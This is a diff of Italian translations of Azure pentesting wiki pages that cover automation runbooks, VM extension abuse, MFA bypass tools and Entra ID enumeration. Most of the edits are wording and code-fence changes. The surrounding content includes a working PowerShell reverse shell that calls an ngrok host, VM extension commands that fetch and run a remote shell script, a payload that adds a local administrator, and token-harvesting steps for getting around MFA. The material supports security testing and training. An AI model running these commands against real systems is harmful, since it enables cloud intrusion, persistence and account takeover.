@@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Basta con il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` per **aggiornare il codice di un Runbook** senza pubblicarlo e eseguirlo utilizzando i seguenti comandi.
Con solo il permesso `Microsoft.Automation/automationAccounts/runbooks/draft/write` è possibile **aggiornare il codice di un Runbook** senza pubblicarlo ed eseguirlo utilizzando i seguenti comandi.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Questo permesso consente all'utente di **configurare un controllo sorgente** per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio):
Questa autorizzazione consente all'utente di **configurare un controllo sorgente** per l'Automation Account utilizzando comandi come i seguenti (questo utilizza Github come esempio):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -236,16 +236,16 @@ Se un account di automazione utilizza un ambiente di runtime personalizzato, pot
- Passo 2 — Comprimere il File di Configurazione
Il `reverse_shell_config.ps1` viene compresso in un file `.zip`, rendendolo pronto per il trasferimento all'Azure Storage Account.
```powershell
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Passo 3 — Imposta il contesto di archiviazione e carica
Il file di configurazione compresso viene caricato in un contenitore di archiviazione Azure predefinito, azure-pentest, utilizzando il cmdlet Set-AzStorageBlobContent di Azure.
```powershell
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Passo 4 — Prepara la Kali Box
- Passo 4 — Prepara Kali Box
Il server Kali scarica il payload RevPS.ps1 da un repository GitHub.
```bash

14
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
View File

@@ -85,7 +85,7 @@ Una delle opzioni MFA di Azure è **ricevere una chiamata al numero di telefono
Le politiche spesso richiedono un dispositivo conforme o MFA, quindi un **attaccante potrebbe registrare un dispositivo conforme**, ottenere un **token PRT** e **bypassare in questo modo la MFA**.
Inizia registrando un **dispositivo conforme in Intune**, poi **ottieni il PRT** con:
```powershell
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -116,14 +116,14 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft utilizzando un set di credenziali fornito e cercherà di identificare se MFA è abilitato**. A seconda di come sono configurate le politiche di accesso condizionale e altre impostazioni di autenticazione a più fattori, alcuni protocolli potrebbero rimanere a fattore singolo. Ha anche un controllo aggiuntivo per le configurazioni ADFS e può tentare di accedere al server ADFS on-prem se rilevato.
MFASweep è uno script PowerShell che tenta di **accedere a vari servizi Microsoft utilizzando un insieme di credenziali fornite e cercherà di identificare se MFA è abilitato**. A seconda di come sono configurate le politiche di accesso condizionale e altre impostazioni di autenticazione a più fattori, alcuni protocolli potrebbero rimanere a fattore singolo. Ha anche un controllo aggiuntivo per le configurazioni ADFS e può tentare di accedere al server ADFS on-prem se rilevato.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo.
Questo strumento ha aiutato a identificare i bypass MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo.
> [!TIP]
> È necessario avere i permessi per elencare tutte le applicazioni per poter generare l'elenco delle app da forzare.
@@ -135,26 +135,26 @@ Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token è un insieme di funzioni che mirano ad aiutare i consulenti di sicurezza che devono convalidare le Politiche di Accesso Condizionale, test per portali Microsoft abilitati per 2FA, ecc..
Donkey token è un insieme di funzioni che mirano ad aiutare i consulenti di sicurezza che devono convalidare le Politiche di Accesso Condizionale, test per portali Microsoft abilitati 2FA, ecc..
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Testa ogni portale** se è possibile **accedere senza MFA**:
```powershell
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Poiché il **portale** **Azure** **non è vincolato**, è possibile **raccogliere un token dall'endpoint del portale per accedere a qualsiasi servizio rilevato** dall'esecuzione precedente. In questo caso è stato identificato Sharepoint, e viene richiesto un token per accedervi:
```powershell
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
Supponendo che il token abbia il permesso Sites.Read.All (da Sharepoint), anche se non puoi accedere a Sharepoint dal web a causa di MFA, è possibile utilizzare il token per accedere ai file con il token generato:
```powershell
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```
## Riferimenti

4
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
View File

@@ -4,7 +4,7 @@
## Informazioni di base
I **gruppi dinamici** sono gruppi che hanno un insieme di **regole** configurate e tutti gli **utenti o dispositivi** che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un **attributo** di un utente o dispositivo viene **cambiato**, le regole dinamiche vengono **ricontrollate**. E quando una **nuova regola** viene **creata**, tutti i dispositivi e gli utenti vengono **controllati**.
I **dynamic groups** sono gruppi che hanno un insieme di **regole** configurate e tutti gli **utenti o dispositivi** che corrispondono alle regole vengono aggiunti al gruppo. Ogni volta che un **attributo** di un utente o dispositivo viene **cambiato**, le regole dinamiche vengono **ricontrollate**. E quando una **nuova regola** viene **creata**, tutti i dispositivi e gli utenti vengono **controllati**.
I gruppi dinamici possono avere **ruoli Azure RBAC assegnati** a loro, ma **non è possibile** aggiungere **ruoli AzureAD** ai gruppi dinamici.
@@ -23,7 +23,7 @@ Ottieni gruppi che consentono l'appartenenza dinamica: **`az ad group list --que
Per l'email dell'utente ospite, accetta l'invito e controlla le impostazioni attuali di **quell'utente** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\
Sfortunatamente, la pagina non consente di modificare i valori degli attributi, quindi dobbiamo utilizzare l'API:
```powershell
```bash
# Login with the gust user
az login --allow-no-subscriptions

12
src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
View File

@@ -49,7 +49,7 @@ az vm extension set \
{{#tab name="Windows" }}
- Eseguire una reverse shell
- Esegui una reverse shell
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -76,10 +76,10 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Puoi anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Reimposta la password utilizzando l'estensione VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>Estensione VMAccess</summary>
Questa estensione consente di modificare la password (o crearne una se non esiste) degli utenti all'interno delle VM Windows.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Secondo la [**documentazione**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), questo permesso ti consente di gestire il sistema operativo della tua risorsa tramite Windows Admin Center come amministratore. Quindi sembra che questo dia accesso al WAC per controllare le VM...
Secondo le [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), questo permesso ti consente di gestire il sistema operativo della tua risorsa tramite Windows Admin Center come amministratore. Quindi sembra che questo dia accesso al WAC per controllare le VM...
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/azure-security/az-services/README.md
View File

@@ -13,7 +13,7 @@ Puoi trovare l'elenco dei **portali Microsoft in** [**https://msportals.io/**](h
Ottieni **access_token** da **IDENTITY_HEADER** e **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Quindi interroga l'API REST di Azure per ottenere il **subscription ID** e altro.
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'

4
src/pentesting-cloud/azure-security/az-services/az-acr.md
View File

@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry
@@ -36,7 +36,7 @@ Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
{{#endtab }}
{{#endtabs }}
Accedi e scarica dal registro
Accesso e recupero dal registro
```bash
docker login <corp-name>.azurecr.io --username <username> --password <password>
docker pull <corp-name>.azurecr.io/<image>:<tag>

12
src/pentesting-cloud/azure-security/az-services/az-app-services.md
View File

@@ -24,11 +24,11 @@ Le app hanno alcune configurazioni interessanti:
- **Web App + Database**: La console web consente di creare un'app con un database. In questo caso è possibile selezionare il database da utilizzare (SQLAzure, PostgreSQL, MySQL, MongoDB) e consente anche di creare una Cache Azure per Redis.
- L'URL contenente le credenziali per il database e Redis sarà memorizzato nelle **appsettings**.
- **Container**: È possibile distribuire un container nel App Service indicando l'URL del container e le credenziali per accedervi.
- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (Sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione.
- **Mounts**: È possibile creare 5 mount da account di archiviazione, essendo questi Azure Blob (sola lettura) o Azure Files. La configurazione memorizzerà la chiave di accesso sull'Account di Archiviazione.
## Basic Authentication
Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita sostanzialmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.
Quando si crea un'app web (e una funzione Azure di solito) è possibile indicare se si desidera **abilitare l'autenticazione di base** (disabilitata per impostazione predefinita). Questo abilita fondamentalmente **SCM (Source Control Manager) e FTP (File Transfer Protocol)** per l'applicazione, quindi sarà possibile distribuire l'applicazione utilizzando queste tecnologie.
Per accedere ai server SCM e FTP, è richiesta una **username e password**. Pertanto, Azure fornisce alcune **API per ottenere gli URL** per queste piattaforme e le credenziali.
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
@@ -241,7 +241,7 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs
Accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web.
> [!TIP]
> Basta connettersi tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web.
> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` non è sufficiente per cambiare il codice eseguito dall'app web.
**Un attaccante potrebbe scaricare questo file, modificarlo e caricarlo di nuovo per eseguire codice arbitrario nell'app web.**
@@ -251,12 +251,12 @@ Questo tutorial si basa sul precedente ma utilizza un repository Github.
1. Forka il repo msdocs-python-flask-webapp-quickstart nel tuo account Github.
2. Crea una nuova Web App Python in Azure.
3. In `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`.
3. Nel `Deployment Center` cambia la sorgente, accedi con Github, seleziona il repo forkato e clicca su `Salva`.
Come nel caso precedente, accedendo al portale SCM o accedendo tramite FTP è possibile vedere in `/wwwroot` il file compresso `output.tar.gz` che contiene il codice dell'app web.
> [!TIP]
> Basta connettersi tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web.
> Collegarsi semplicemente tramite FTP e modificare il file `output.tar.gz` e riattivare un deployment non è sufficiente per cambiare il codice eseguito dall'app web.
## Privilege Escalation

6
src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
View File

@@ -6,7 +6,7 @@
[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
Il Application Proxy di Azure Active Directory fornisce **accesso remoto sicuro alle applicazioni web on-premises**. Dopo un **accesso singolo ad Azure AD**, gli utenti possono accedere sia alle **applicazioni cloud** che a quelle **on-premises** tramite un **URL esterno** o un portale applicativo interno.
Il Application Proxy di Azure Active Directory fornisce **accesso remoto sicuro alle applicazioni web on-premises**. Dopo un **accesso unico ad Azure AD**, gli utenti possono accedere sia alle **applicazioni cloud** che a quelle **on-premises** tramite un **URL esterno** o un portale applicativo interno.
Funziona in questo modo:
@@ -15,12 +15,12 @@ Funziona in questo modo:
1. Dopo che l'utente ha accesso all'applicazione tramite un endpoint, l'utente viene indirizzato alla **pagina di accesso di Azure AD**.
2. Dopo un **accesso riuscito**, Azure AD invia un **token** al dispositivo client dell'utente.
3. Il client invia il token al **servizio Application Proxy**, che recupera il nome principale dell'utente (UPN) e il nome principale di sicurezza (SPN) dal token. **Application Proxy invia quindi la richiesta al connettore Application Proxy**.
4. Se hai configurato l'accesso singolo, il connettore esegue qualsiasi **autenticazione aggiuntiva** richiesta per conto dell'utente.
4. Se hai configurato l'accesso unico, il connettore esegue qualsiasi **autenticazione aggiuntiva** richiesta per conto dell'utente.
5. Il connettore invia la richiesta all'**applicazione on-premises**.
6. La **risposta** viene inviata tramite il connettore e il servizio Application Proxy **all'utente**.
## Enumerazione
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}

2
src/pentesting-cloud/azure-security/az-services/az-arm-templates.md
View File

@@ -13,7 +13,7 @@ Se puoi accedervi, puoi avere **info sulle risorse** che non sono presenti ma po
## Cerca Info Sensibili
Gli utenti con i permessi `Microsoft.Resources/deployments/read` e `Microsoft.Resources/subscriptions/resourceGroups/read` possono **leggere la cronologia delle distribuzioni**.
```powershell
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>

22
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -4,19 +4,19 @@
## Informazioni di base
Gli Azure Automation Accounts sono servizi basati sul cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti in ambienti Azure e on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori** di automazione, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud.
Gli Azure Automation Accounts sono servizi basati sul cloud in Microsoft Azure che aiutano a **automatizzare i compiti** come la gestione delle risorse, la configurazione e gli aggiornamenti attraverso Azure e ambienti on-premises. Forniscono **Runbooks** (script per l'automazione che vengono eseguiti), **programmazioni** e **gruppi di lavoratori ibridi** per eseguire **lavori di automazione**, abilitando l'infrastruttura come codice (IaC) e l'automazione dei processi per migliorare l'efficienza e la coerenza nella gestione delle risorse cloud.
### Impostazioni
- **Credenziali**: La password è accessibile solo all'interno di un runbook all'interno dell'account di automazione, e viene utilizzata per **memorizzare in modo sicuro nomi utente e password**.
- **Variabili**: Utilizzate per memorizzare **dati di configurazione** che possono essere utilizzati nei runbooks. Questo potrebbe includere anche informazioni sensibili come le chiavi API. Se la variabile è **memorizzata crittografata**, è disponibile solo all'interno di un runbook nell'account di automazione.
- **Certificati**: Utilizzati per memorizzare **certificati** che possono essere utilizzati nei runbooks.
- **Variabili**: Utilizzate per memorizzare **dati di configurazione** che possono essere utilizzati nei runbook. Questo potrebbe includere anche informazioni sensibili come le chiavi API. Se la variabile è **memorizzata crittografata**, è disponibile solo all'interno di un runbook nell'account di automazione.
- **Certificati**: Utilizzati per memorizzare **certificati** che possono essere utilizzati nei runbook.
- **Connessioni**: Utilizzate per memorizzare **informazioni di connessione** a servizi esterni. Questo potrebbe contenere **informazioni sensibili**.
- **Accesso alla rete**: Può essere impostato su **pubblico** o **privato**.
### Runbooks & Lavori
Un Runbook in Azure Automation è uno **script che esegue automaticamente compiti** all'interno del tuo ambiente cloud. I runbooks possono essere scritti in PowerShell, Python o editor grafici. Aiutano ad automatizzare compiti amministrativi come la gestione delle VM, la patching o i controlli di conformità.
Un Runbook in Azure Automation è uno **script che esegue automaticamente compiti** all'interno del tuo ambiente cloud. I runbook possono essere scritti in PowerShell, Python o editor grafici. Aiutano ad automatizzare compiti amministrativi come la gestione delle VM, la patching o i controlli di conformità.
Nel **codice** situato all'interno dei **Runbooks** potrebbero esserci **informazioni sensibili** (come credenziali).
@@ -33,7 +33,7 @@ Un lavoro contiene l'**output** dell'**esecuzione del Runbook**. Se puoi **legge
Ci sono 3 modi principali per eseguire un Runbook:
- **Programmazioni**: Queste vengono utilizzate per **attivare** i Runbooks a un **orario specifico** o **intervallo**.
- **Webhook**: Questi sono **endpoint HTTP** che possono essere utilizzati per **attivare** i Runbooks da **servizi esterni**. Nota che l'URL del webhook **non è visibile** dopo la creazione.
- **Webhook**: Questi sono **endpoint HTTP** che possono essere utilizzati per **attivare** i Runbooks da **servizi esterni**. Nota che l'URL del webhook è **non visibile** dopo la creazione.
- **Attivazione manuale**: Puoi **attivare manualmente** un Runbook dal Portale Azure e dalla CLI.
### Controllo del codice sorgente
@@ -44,7 +44,7 @@ Quando la sincronizzazione è abilitata, nel **repository Github viene creato un
Nota che questi webhook **non saranno visibili** quando si elencano i webhook nei runbooks associati al repository Github. Inoltre, nota che **non è possibile cambiare l'URL del repository** di un controllo del codice sorgente una volta creato.
Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (di sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita utente all'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Affinché il controllo del codice sorgente configurato funzioni, l'**Azure Automation Account** deve avere un'identità gestita (sistema o utente) con il ruolo di **`Contributor`**. Inoltre, per assegnare un'identità gestita utente all'Automation Account, è necessario indicare l'ID client dell'utente MI nella variabile **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Ambienti di esecuzione
@@ -57,11 +57,11 @@ Quando si crea un Runbook è possibile selezionare l'ambiente di esecuzione. Per
- **Python 3.8**
- **Python 2.7**
Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di questi come base. Nel caso di Python, è possibile caricare pacchetti `.whl` nell'ambiente che verrà utilizzato. Nel caso di PowerShell, è possibile caricare pacchetti `.zip` con i moduli da avere nell'esecuzione.
Tuttavia, è anche possibile **creare i propri ambienti**, utilizzando uno di questi come base. Nel caso di Python, è possibile caricare pacchetti `.whl` nell'ambiente che verranno utilizzati. Nel caso di PowerShell, è possibile caricare pacchetti `.zip` con i moduli da avere nell'esecuzione.
### Gruppi di lavoratori ibridi
In Azure Automation, l'ambiente di esecuzione predefinito per i runbooks è il **Azure Sandbox**, una piattaforma basata sul cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbooks di essere eseguiti direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure.
In Azure Automation, l'ambiente di esecuzione predefinito per i runbooks è il **Azure Sandbox**, una piattaforma basata sul cloud gestita da Azure, adatta per compiti che coinvolgono risorse Azure. Tuttavia, questo sandbox ha limitazioni, come l'accesso ristretto alle risorse on-premises e vincoli sul tempo di esecuzione e sull'uso delle risorse. Per superare queste limitazioni, vengono impiegati i Gruppi di Lavoratori Ibridi. Un Gruppo di Lavoratori Ibridi è composto da **uno o più Hybrid Runbook Workers installati sulle proprie macchine**, sia on-premises, in altri ambienti cloud o VM Azure. Questa configurazione consente ai runbooks di eseguire direttamente su queste macchine, fornendo accesso diretto alle risorse locali, la possibilità di eseguire compiti più lunghi e intensivi in termini di risorse, e la flessibilità di interagire con ambienti al di là della portata immediata di Azure.
Quando viene creato un gruppo di lavoratori ibridi, è necessario indicare le **credenziali** da utilizzare. Ci sono 2 opzioni:
@@ -78,9 +78,9 @@ Inoltre, se il lavoratore ibrido è in esecuzione in Azure con altre identità g
### Configurazione dello stato (SC)
>[!WARNING]
> Come indicato nella [documentazione](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration sarà ritirato il 30 settembre 2027 e sostituito da [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Come indicato in [documentazione](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration sarà ritirato il 30 settembre 2027 e sostituito da [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Gli Automation Accounts supportano anche la **Configurazione dello Stato (SC)**, che è una funzionalità che aiuta a **configurare** e **mantenere** lo **stato** delle tue VM. È possibile **creare** e **applicare** configurazioni DSC a macchine **Windows** e **Linux**.
Gli Automation Accounts supportano anche la **Configurazione dello Stato (SC)**, che è una funzionalità che aiuta a **configurare** e **mantenere** lo **stato** delle tue VM. È possibile **creare** e **applicare** configurazioni DSC a **macchine Windows** e **Linux**.
Dal punto di vista di un attaccante, questo era interessante perché consentiva di **eseguire codice PS arbitrario in tutte le VM configurate**, consentendo di elevare i privilegi alle identità gestite di queste VM, potenzialmente pivotando verso nuove reti... Inoltre, le configurazioni potrebbero contenere **informazioni sensibili**.
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

70
src/pentesting-cloud/azure-security/az-services/az-azuread.md
View File

@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -154,7 +154,7 @@ Quando effettui il **login** tramite **CLI** in Azure con qualsiasi programma, s
Ad esempio, uno **script powershell** che **autentica** utilizza un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere utilizzando strumenti che si connettono tramite quell'App.
Tuttavia, ci sono **altri client-id** di applicazioni che **ti permetteranno di connetterti ad Azure**:
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -295,22 +295,22 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }}
#### Cambiare la password dell'utente
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
### MFA e Politiche di Accesso Condizionale
### MFA & Conditional Access Policies
È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sarà **richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypass**. Controlla:
È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sarà **richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Gruppi
### Groups
Per ulteriori informazioni sui gruppi di Entra ID controlla:
Per ulteriori informazioni sui gruppi di Entra ID, controlla:
{{#ref}}
../az-basic-information/
@@ -318,7 +318,7 @@ Per ulteriori informazioni sui gruppi di Entra ID controlla:
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
